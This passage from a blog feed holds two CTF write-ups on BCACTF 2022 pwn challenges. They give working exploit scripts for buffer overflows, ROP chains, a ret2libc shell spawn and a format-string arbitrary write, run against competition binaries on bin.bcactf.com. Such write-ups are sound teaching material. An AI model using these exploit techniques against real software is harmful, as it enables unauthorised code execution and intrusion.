<p>The register <code class="language-plaintext highlighter-rouge">bl</code> in x86_64, is the lowest 8 bits of <code class="language-plaintext highlighter-rouge">rbx</code>. So here, it’s set to 0x8c.
Basically, this leads to <code class="language-plaintext highlighter-rouge">jumps = jumps | 0x8c</code>. Since the lowest bits of <code class="language-plaintext highlighter-rouge">jumps</code> are 0 (remember the value of jumps is 0x3f800000), this is setting it to 0x3f80008c. That’s 1.00001669 (nice), and satisfies our between 1 and 2 constraint.</p>

<p>I send this using</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>p += b''.join([p64(l) for l in ls])  
   # good luck pwning :)  
r.sendline(p)
</code></pre></div></div>

<p>I then ran into a segfault in the middle of printf on xmm0, and realized it’s the well known stack alignment error where you just need to add a few <code class="language-plaintext highlighter-rouge">nop</code> gadgets to align the stack so printf is executed with a stack pointer that is a multiple of 16.
Just one  <code class="language-plaintext highlighter-rouge">nop; ret</code> gadget did it here.</p>

<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ls</span> <span class="o">=</span> <span class="p">[</span>
	<span class="mh">0x00000000004013aa</span><span class="p">,</span> <span class="c1"># pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret;    
</span>	<span class="mh">0x40408c</span> <span class="o">-</span> <span class="mh">0x5d</span><span class="p">,</span> <span class="c1"># rbx = jumps # + 3 might not be, todo, find small byte  
</span>	<span class="c1"># no +3  
</span>	<span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span> <span class="c1"># rbp, r12, r13, r14, r15  
</span>	
	<span class="mh">0x00000000004013b3</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="c1"># single pop for stack alignment  
</span>	<span class="mh">0x00000000004013b3</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="c1"># single pop for stack alignment  
</span>	<span class="mh">0x000000000040114f</span><span class="p">,</span> <span class="c1">#nop for alignment Plzzzz  
</span>	
	<span class="mh">0x00000000004013a9</span><span class="p">,</span> <span class="c1"># or byte ptr [rbx + 0x5d], bl; pop r12; pop r13; pop r14; pop r15; ret;    
</span>	<span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span> <span class="c1"># r12,13,14,15  
</span>	
	<span class="mh">0x00000000004011d6</span><span class="o">+</span><span class="mi">4</span> <span class="o">-</span><span class="mi">4</span><span class="p">,</span> <span class="c1">#b function  
</span><span class="p">]</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bcactf{l34rn_t0_jump_then2_r0P_28e12f}
</code></pre></div></div>

<h2 id="got-libc">Got libc?</h2>
<p>This one was not very exciting, there was some debugging, but largely the ROP library of pwntools took care of everything.</p>

<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'?</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">offset</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'A'</span> <span class="o">*</span> <span class="mi">40</span>
<span class="n">rop</span> <span class="o">=</span> <span class="n">ROP</span><span class="p">(</span><span class="n">exe</span><span class="p">)</span>
<span class="n">rop</span><span class="p">.</span><span class="n">call</span><span class="p">(</span><span class="s">"puts"</span><span class="p">,</span> <span class="p">[</span><span class="n">exe</span><span class="p">.</span><span class="n">got</span><span class="p">[</span><span class="s">'puts'</span><span class="p">]])</span>
<span class="n">rop</span><span class="p">.</span><span class="n">call</span><span class="p">(</span><span class="n">exe</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">"main"</span><span class="p">])</span>
<span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">offset</span> <span class="o">+</span> <span class="n">rop</span><span class="p">.</span><span class="n">chain</span><span class="p">())</span>
</code></pre></div></div>

<p>I call <code class="language-plaintext highlighter-rouge">puts</code> on the address of <code class="language-plaintext highlighter-rouge">puts</code>, this will give me the address of <code class="language-plaintext highlighter-rouge">puts</code>.</p>

<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">rc</span> <span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\x7f</span><span class="s">'</span><span class="p">)</span>  
<span class="k">print</span><span class="p">(</span><span class="n">rc</span><span class="p">.</span><span class="nb">hex</span><span class="p">())</span>  
<span class="n">puts</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">rc</span><span class="p">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="sa">b</span><span class="s">'</span><span class="se">\0</span><span class="s">'</span><span class="p">))</span>  
<span class="k">print</span><span class="p">(</span><span class="s">'puts at'</span><span class="p">,</span> <span class="nb">hex</span><span class="p">(</span><span class="n">puts</span><span class="p">))</span>  
<span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">puts</span> <span class="o">-</span> <span class="n">libc</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">"puts"</span><span class="p">]</span>  
<span class="k">print</span><span class="p">(</span><span class="s">'libc at'</span><span class="p">,</span> <span class="nb">hex</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">address</span><span class="p">))</span>
</code></pre></div></div>

<p>I parse the address of <code class="language-plaintext highlighter-rouge">puts</code>, and since I know the relative distance from the start of <code class="language-plaintext highlighter-rouge">libc</code> to <code class="language-plaintext highlighter-rouge">puts</code> (using the supplied libc file), I can find the relative distance to any other value in <code class="language-plaintext highlighter-rouge">libc</code>.</p>

<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">bin_sh</span> <span class="o">=</span> <span class="nb">next</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="sa">b</span><span class="s">"/bin/sh</span><span class="se">\0</span><span class="s">"</span><span class="p">))</span>  
<span class="n">rop</span> <span class="o">=</span> <span class="n">ROP</span><span class="p">(</span><span class="n">libc</span><span class="p">)</span>  
<span class="n">rop</span><span class="p">.</span><span class="n">raw</span><span class="p">(</span><span class="n">p64</span><span class="p">(</span><span class="n">rop</span><span class="p">.</span><span class="n">ret</span><span class="p">.</span><span class="n">address</span><span class="p">))</span> <span class="c1"># offset for stack align rop.ret is a simple 'ret' gadget  
</span><span class="n">rop</span><span class="p">.</span><span class="n">call</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'system'</span><span class="p">],</span> <span class="p">[</span><span class="n">bin_sh</span><span class="p">])</span>  
<span class="n">rop</span><span class="p">.</span><span class="n">call</span><span class="p">(</span><span class="n">exe</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">"main"</span><span class="p">])</span>  
<span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">offset</span> <span class="o">+</span> <span class="n">rop</span><span class="p">.</span><span class="n">chain</span><span class="p">())</span>  
<span class="n">r</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>

<p>I search for an occurrence of the string <code class="language-plaintext highlighter-rouge">/bin/sh</code> in libc, and then call the <code class="language-plaintext highlighter-rouge">system</code> function on that. That launches <code class="language-plaintext highlighter-rouge">/bin/sh</code> on the server, and i can interact with it.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">cat </span>flag.txt
bcactf<span class="o">{</span>ll1bC_h3ights_47d6f3e<span class="o">}</span>
</code></pre></div></div>

<h2 id="pwnf">pwnf</h2>

<p>Luckily the binary is still not stripped, Ghidra time…</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">bool</span> <span class="nf">echo</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
  <span class="kt">size_t</span> <span class="n">sVar1</span><span class="p">;</span>
  <span class="kt">long</span> <span class="n">in_FS_OFFSET</span><span class="p">;</span>
  <span class="kt">char</span> <span class="n">local_38</span> <span class="p">[</span><span class="mi">40</span><span class="p">];</span>
  <span class="kt">long</span> <span class="n">local_10</span><span class="p">;</span>
  
  <span class="n">local_10</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
  <span class="n">fgets</span><span class="p">(</span><span class="n">local_38</span><span class="p">,</span><span class="mh">0x1a</span><span class="p">,</span><span class="n">stdin</span><span class="p">);</span>
  <span class="n">sVar1</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="n">local_38</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="mi">1</span> <span class="o">&lt;</span> <span class="n">sVar1</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="n">local_38</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">local_10</span> <span class="o">==</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">))</span> <span class="p">{</span>
    <span class="k">return</span> <span class="mi">1</span> <span class="o">&gt;=</span> <span class="n">sVar1</span><span class="p">;</span>
  <span class="p">}</span>
                    <span class="cm">/* WARNING: Subroutine does not return */</span>
  <span class="n">__stack_chk_fail</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Observations:</p>
<ol>
  <li>Proper canary AND no overflow from fgets</li>
  <li>raw <code class="language-plaintext highlighter-rouge">printf</code></li>
</ol>

<p>The name <code class="language-plaintext highlighter-rouge">pwnf</code> did after all indicate it’s a <code class="language-plaintext highlighter-rouge">printf</code> based bug.
Anyways, I won’t bore you with all the details of me banging my head against the wall that is attempting to overwrite the GOT/PLT (not realizing the binary is Full RELRO).</p>

<p>In the end, I built a solution that uses techniques very similar to Format Fortune to modify arbitrary values. Since the <code class="language-plaintext highlighter-rouge">echo</code> function is called indefinitely in a loop here, I can repeatedly execute commands (i.e. modify memory using <code class="language-plaintext highlighter-rouge">%n</code>) without any <em>return-oriented</em> confusion.</p>

<p>I abstracted away the memory modification into a function, modifying a <code class="language-plaintext highlighter-rouge">$hn</code> - which, as <code class="language-plaintext highlighter-rouge">man 3 printf</code> conveniently reminds me is 2 bytes. I chose hn intervals, because printf printing 65kbytes (2 ^ 16 bits) isn’t too bad, and it’s better than hhn, 1 byte (2 ^ 8 bits) because it requires fewer executions of the printf loop.</p>

<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">modit</span><span class="p">(</span><span class="n">val</span><span class="p">,</span> <span class="n">argnum</span><span class="p">,</span> <span class="n">where</span><span class="p">):</span>  
     <span class="n">payload</span> <span class="o">=</span> <span class="sa">f</span><span class="s">'%</span><span class="si">{</span><span class="n">val</span><span class="si">}</span><span class="s">c'</span><span class="p">.</span><span class="n">encode</span><span class="p">()</span> <span class="k">if</span> <span class="n">val</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="k">else</span> <span class="sa">b</span><span class="s">''</span>  
     <span class="n">payload</span> <span class="o">+=</span> <span class="sa">f</span><span class="s">'%</span><span class="si">{</span><span class="n">argnum</span><span class="si">}</span><span class="s">$hn'</span><span class="p">.</span><span class="n">encode</span><span class="p">()</span>  
     <span class="n">payload</span> <span class="o">+=</span> <span class="s">'i'</span><span class="p">.</span><span class="n">encode</span><span class="p">()</span> <span class="o">*</span> <span class="p">(</span><span class="mi">16</span><span class="o">-</span><span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">))</span>  
     <span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">where</span><span class="p">)</span>  
     <span class="k">return</span> <span class="n">payload</span>  

<span class="k">def</span> <span class="nf">get_val</span><span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="n">n</span><span class="p">):</span>  
    <span class="n">r</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="n">timeout</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span>  
    <span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">f</span><span class="s">'%</span><span class="si">{</span><span class="n">n</span><span class="si">}</span><span class="s">$lx'</span><span class="p">.</span><span class="n">encode</span><span class="p">())</span>  
    <span class="k">return</span> <span class="nb">int</span><span class="p">(</span><span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">,</span><span class="n">timeout</span><span class="o">=</span><span class="mi">2</span><span class="p">).</span><span class="n">strip</span><span class="p">(),</span> <span class="mi">16</span><span class="p">)</span>
  
<span class="k">def</span> <span class="nf">set8bytes</span><span class="p">(</span><span class="n">target</span><span class="p">,</span> <span class="n">where</span><span class="p">):</span>  
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"ok so the things i'm writing 0x</span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">target</span><span class="p">)[</span><span class="mi">2</span><span class="si">:</span><span class="p">]</span><span class="si">}</span><span class="s"> in 4 pieces"</span><span class="p">)</span>  
    <span class="k">return</span> <span class="n">modit</span><span class="p">((</span><span class="n">target</span> <span class="o">&gt;&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="o">&amp;</span><span class="mh">0xffff</span> <span class="p">,</span> <span class="mi">8</span><span class="p">,</span> <span class="n">where</span><span class="p">)</span> <span class="o">+</span> <span class="sa">b</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span> <span class="o">+</span> <span class="n">modit</span><span class="p">((</span><span class="n">target</span> <span class="o">&gt;&gt;</span> <span class="mi">16</span><span class="p">)</span> <span class="o">&amp;</span><span class="mh">0xffff</span><span class="p">,</span> <span class="mi">8</span><span class="p">,</span> <span class="n">where</span> <span class="o">+</span> <span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="sa">b</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span> <span class="o">+</span> <span class="n">modit</span><span class="p">((</span><span class="n">target</span> <span class="o">&gt;&gt;</span> <span class="mi">32</span><span class="p">)</span> <span class="o">&amp;</span><span class="mh">0xffff</span><span class="p">,</span> <span class="mi">8</span><span class="p">,</span> <span class="n">where</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span> <span class="o">+</span> <span class="sa">b</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span> <span class="o">+</span> <span class="n">modit</span><span class="p">((</span><span class="n">target</span> <span class="o">&gt;&gt;</span> <span class="mi">48</span><span class="p">)</span> <span class="o">&amp;</span><span class="mh">0xffff</span><span class="p">,</span> <span class="mi">8</span><span class="p">,</span> <span class="n">where</span> <span class="o">+</span> <span class="mi">6</span><span class="p">)</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">modit</code> does the core modification, <code class="language-plaintext highlighter-rouge">get_val</code> is used to extract memory addresses, and <code class="language-plaintext highlighter-rouge">set8bytes</code> is just a convinient way to set a whole 8 byte (remember 64 bit) memory location (8 bytes is the size of pointers in 64 bit architectures).</p>

<p>After that, I use a fixed return pointer on the stack to leak the value of main (therefore telling me where every function and variable in the binary is). Similar techniques are used to find libc and the location of the return pointer in the stack. (ignore the somewhat misleading variable names, also I didn’t need all these, but I didn’t know that till later)</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'%13$p'</span><span class="p">)</span>  
<span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'0x'</span><span class="p">)</span>  
<span class="n">leekmain</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">).</span><span class="n">strip</span><span class="p">(),</span> <span class="mi">16</span><span class="p">)</span>
<span class="n">exe</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">leekmain</span> <span class="o">-</span> <span class="n">exe</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'main'</span><span class="p">]</span>

<span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'%9$p'</span><span class="p">)</span>  
<span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'0x'</span><span class="p">)</span>  
<span class="n">leekrippos</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">).</span><span class="n">strip</span><span class="p">(),</span> <span class="mi">16</span><span class="p">)</span>  
<span class="n">rip</span> <span class="o">=</span> <span class="n">leekrippos</span> <span class="o">+</span> <span class="mi">8</span>

<span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'%15$p'</span><span class="p">)</span>  
<span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'0x'</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">2</span><span class="p">)</span>  
<span class="k">print</span><span class="p">(</span><span class="n">aa</span><span class="p">:</span><span class="o">=</span><span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">,</span><span class="n">timeout</span><span class="o">=</span><span class="mi">1</span><span class="p">))</span>  
<span class="n">leeklibc</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">aa</span><span class="p">.</span><span class="n">strip</span><span class="p">(),</span> <span class="mi">16</span><span class="p">)</span>  
<span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">leeklibc</span> <span class="o">-</span> <span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'__libc_start_main'</span><span class="p">]</span> <span class="o">+</span> <span class="mi">243</span><span class="p">)</span> <span class="c1">#+ 0x7f6db384ba40 - 0x7f6db3857710
</span></code></pre></div></div>

<p>After that, I used ROP techniques to set some registers, and <code class="language-plaintext highlighter-rouge">one_gadget</code> to find an exploit path (<code class="language-plaintext highlighter-rouge">one_gadget</code> uses a really fascinating set of techniques that I can’t explain here to find one ROP path calling <code class="language-plaintext highlighter-rouge">system(/bin/sh)</code> or equivalent).</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>one_gadget libc.so.6
0xe6c7e execve<span class="o">(</span><span class="s2">"/bin/sh"</span>, r15, r12<span class="o">)</span>  
constraints:  
  [r15] <span class="o">==</span> NULL <span class="o">||</span> r15 <span class="o">==</span> NULL  
  [r12] <span class="o">==</span> NULL <span class="o">||</span> r12 <span class="o">==</span> NULL  
  
0xe6c81 execve<span class="o">(</span><span class="s2">"/bin/sh"</span>, r15, rdx<span class="o">)</span>  
constraints:  
  [r15] <span class="o">==</span> NULL <span class="o">||</span> r15 <span class="o">==</span> NULL  
  [rdx] <span class="o">==</span> NULL <span class="o">||</span> rdx <span class="o">==</span> NULL  
  
0xe6c84 execve<span class="o">(</span><span class="s2">"/bin/sh"</span>, rsi, rdx<span class="o">)</span>  
constraints:  
  [rsi] <span class="o">==</span> NULL <span class="o">||</span> rsi <span class="o">==</span> NULL  
  [rdx] <span class="o">==</span> NULL <span class="o">||</span> rdx <span class="o">==</span> NULL  
</code></pre></div></div>

<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># this one needs r15 and rdx to be null, r15 is already  
</span><span class="n">target</span> <span class="o">=</span> <span class="mh">0xe6c81</span> <span class="o">+</span> <span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="c1"># 0xe6c7e or 0xe6c81 or 0xe6c84  
</span>
<span class="n">POP_RDX_RBX</span> <span class="o">=</span> <span class="mh">0x0000000000162866</span> <span class="o">+</span> <span class="n">libc</span><span class="p">.</span><span class="n">address</span>  
<span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">set8bytes</span><span class="p">(</span><span class="n">POP_RDX_RBX</span><span class="p">,</span><span class="n">rip</span><span class="p">))</span>  
<span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">set8bytes</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">rip</span> <span class="o">+</span> <span class="mi">8</span><span class="p">))</span>  
<span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">set8bytes</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">rip</span> <span class="o">+</span> <span class="mi">16</span><span class="p">))</span>  
<span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">set8bytes</span><span class="p">(</span><span class="n">target</span><span class="p">,</span><span class="n">rip</span> <span class="o">+</span> <span class="mi">24</span><span class="p">))</span>  
<span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">()</span> <span class="c1"># to return out of main loop
</span></code></pre></div></div>

<p>I set rdx to 0 (r15 already is), and then call the <code class="language-plaintext highlighter-rouge">one_gadget</code> in this simple rop chain.</p>

<p>And there, I have a shell. a <code class="language-plaintext highlighter-rouge">cat flag.txt</code> yields</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bcactf{pUtT1nG_1t_4LL_t0G3thr_65a3e0}
</code></pre></div></div>

<hr />
<p>(I didn’t solve Notetake WASM during the competition, and I don’t think I am capable of doing it justice with a writeup )</p>

<hr />
<p>And that’s all the pwn challenges in bcactf 2022!
In the end, we were 4th (won $75 + $250 in DigitalOcean credits) in the high school division and scored 6675 out of 9125 total points. I certainly polished a lot of my pwn and rev techniques, thanks to BCA folks!</p>]]></content><author><name>Karmanyaah Malhotra</name></author><category term="puzzles" /><category term="ctf" /><category term="hacking" /><category term="binary exploitation" /><summary type="html"><![CDATA[Continued from part 1 - the easy ones]]></summary></entry><entry><title type="html">BCACTF 2022 Pwn Writeups - The Easy Ones</title><link href="https://karmanyaah.malhotra.cc/puzzles/2022/07/bcactf1/" rel="alternate" type="text/html" title="BCACTF 2022 Pwn Writeups - The Easy Ones" /><published>2022-07-20T14:00:00-05:00</published><updated>2022-07-21T23:06:47-05:00</updated><id>https://karmanyaah.malhotra.cc/puzzles/2022/07/bcactf1</id><content type="html" xml:base="https://karmanyaah.malhotra.cc/puzzles/2022/07/bcactf1/"><![CDATA[<p>The art/science of pwning programs (binary or otherwise) rests around the idea of unexpected inputs.</p>

<p>Input into the program what the programmers never anticipated that you could input. Input extreme cases and see how the program reacts. The whole point of pwning is to find edge cases where the programmer’s intention differs from the actual code.</p>

<p>You can find the source code for these challenges at <a href="https://github.com/BCACTF/bcactf-3.0">https://github.com/BCACTF/bcactf-3.0</a></p>

<h2 id="intro-2-pwn">Intro 2 Pwn</h2>

<p>Connecting to the shell leads to:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Hi, welcome to Pwning 101.  
Your balance is $10. Please select an item:  
1. Buy a hamster ($1)  
2. Buy the flag ($100)
(1 or 2)&gt;
</code></pre></div></div>
<p>Having done many challenges similar to this before, I knew what to do immediately.</p>

<p>In this case, a pretty simple input is negative numbers, and sure enough, buying -90 hamsters makes our balance $10+90. And then we can just buy the flag 🤷.</p>

<h2 id="bof-shop">BOF Shop</h2>
<p>BOF presumably stands for buffer overflow. Again, experience was key here to me finding a quick solution. If you want to under stand how and <em>why</em> buffer overflows work, this is not the best post for you, but</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python <span class="nt">-c</span> <span class="s2">"print('A' * &lt;count&gt; + 'd')"</span> | nc  
bin.bcactf.com 49174
</code></pre></div></div>

<p>The prompt said we need to overwrite the (presumably) integer that’s storing the coins value to 100. Using an ASCII table, we know that the character <code class="language-plaintext highlighter-rouge">d</code> is equal to the integer 100, 
We can vary <code class="language-plaintext highlighter-rouge">count</code> manually to find the write number of bytes to write that results in the <code class="language-plaintext highlighter-rouge">d</code> getting put into the right position in memory.</p>

<p>Keep in mind here, that in x86_64, values are stored in little-endian. This means that putting ‘d\0\0\0’ (sending nothing is equal to leaving those bytes empty in this context) into a buffer in memory will result in the bytes getting read like</p>
<ul>
  <li>d = 100 « 0</li>
  <li>\0 = 0 « 8</li>
  <li>\0 = 0 « 16</li>
  <li>\0 = 0 « 24</li>
</ul>

<p>The number, if written down in conventional order (in base256) would be ‘\0\0\0d’. The first value supplied is the <strong>least-significant</strong> and the last one is <strong>most-significant</strong>.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python <span class="nt">-c</span> <span class="s2">"print('A' * 116 + 'd')"</span>  
| nc bin.bcactf.com 49174    
Hello there, welcome to the BOF Shop!  
What<span class="s1">'s your name?  
&gt; Your balance: 100 coins  
  
Wow. Here, take the flag in exchange for your 100 coins.  
bcactf{buFF3r_0v3rflow_M4D3_3asy_71f7e2}
</span></code></pre></div></div>

<h2 id="jump-rope">Jump Rope</h2>

<p>Looking at the source, a basic ROP challenge. ROP stands for <em>return</em> oriented programming. ROP’s elevator pitch is that you overwrite the <em>return</em> pointer (how the code knows where to return to after a function <em>returns</em>) using an existing buffer overflow.</p>

<p>This challenge just requires us to overwrite the return pointer to a function that will print the flag (saw that in the provided source code).</p>

<p>We use <code class="language-plaintext highlighter-rouge">pwn checksec</code> to see that there is no <strong>PIE</strong> on this binary (PIE stands for Position Independent Executable), for us, it means that the addresses to the functions will always be the same, they won’t have varying prefixes.</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>pwn checksec jumprope/jumprope  
<span class="o">[</span><span class="k">*</span><span class="o">]</span> <span class="s1">'/home/karmanyaahm/CTF/bca22/pwn/jumprope/jumprope'</span>  
   Arch:     amd64-64-little  
   RELRO:    Partial RELRO  
   Stack:    No canary found  
   NX:       NX enabled  
   PIE:      No PIE <span class="o">(</span>0x400000<span class="o">)</span>
</code></pre></div></div>

<p>Then, use <code class="language-plaintext highlighter-rouge">readelf</code> to get the address of the function.</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>readelf <span class="nt">-s</span> jumprope | <span class="nb">grep </span>FUNC
   64: 00000000004010d0    47 FUNC    GLOBAL DEFAULT   15 _start  
   65: 00000000004011b6   102 FUNC    GLOBAL DEFAULT   15 a  
   67: 000000000040125a   109 FUNC    GLOBAL DEFAULT   15 main  
   68: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fopen@@GLIBC_2.2.5  
   70: 0000000000401000     0 FUNC    GLOBAL HIDDEN    12 _init
</code></pre></div></div>
<p>(<code class="language-plaintext highlighter-rouge">readelf -s</code> prints all the symbols (functions, global variables, etc) and <code class="language-plaintext highlighter-rouge">grep FUNC</code> only prints functions from that list)</p>

<p>Then, we can send the address of the function, along with an offset that was found by guessing and checking to the binary.
In Python, <code class="language-plaintext highlighter-rouge">sys.stdout.buffer.write</code> is how you can print raw bytes (print only prints UTF-8 strings, which can cause issues for values such as the 0 byte, which isn’t a valid UTF-8 character). 
I spent a while debugging my exploit on the remote server, to realize that I didn’t include a <code class="language-plaintext highlighter-rouge">b"\n"</code> when using the write function, which print sends by default.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python <span class="nt">-c</span> <span class="s1">'from pwn import *; import sys; write = sys.stdout.buffer.write; write(b"A"*520 + p64(0x00000000004011b6) + b"\n")'</span> | nc bin.bcactf.com 49177  
Here at BCA, fitness is one of our biggest priorities!  
Today<span class="s1">'s workout is going to be jumproping. Enjoy!  
  
Better start jumping!  
Woo, that was quite the workout wasn'</span>t it!  
bcactf<span class="o">{</span>buff3r_0v3rfl0w_f4nct10n_j4mps_NfEgj4hg<span class="o">}</span>
</code></pre></div></div>

<hr />
<p><a href="../bcactf2/">Part 2 - the hard ones</a> coming soon…</p>]]></content><author><name>Karmanyaah Malhotra</name></author><category term="puzzles" /><category term="ctf" /><category term="hacking" /><category term="binary exploitation" /><summary type="html"><![CDATA[The art/science of pwning programs (binary or otherwise) rests around the idea of unexpected inputs.]]></summary></entry></feed>